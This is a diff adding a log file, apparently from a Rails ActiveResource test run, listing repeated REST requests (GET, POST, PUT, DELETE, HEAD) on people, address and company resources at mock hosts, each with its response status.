+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0ms)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0ms)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0ms)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0ms)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (223 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0ms)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0ms)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0ms)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0ms)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0ms)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0ms)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0ms)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0ms)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0ms)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0ms)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0ms)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0ms)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0ms)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0ms)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0ms)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0ms)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0ms)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0ms)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0ms)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0ms)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0ms)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0ms)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0ms)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0ms)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0ms)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0ms)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0ms)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0ms)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0ms)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0ms)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0ms)
+GET http://somewhere.else:80/people/2/shallow.json
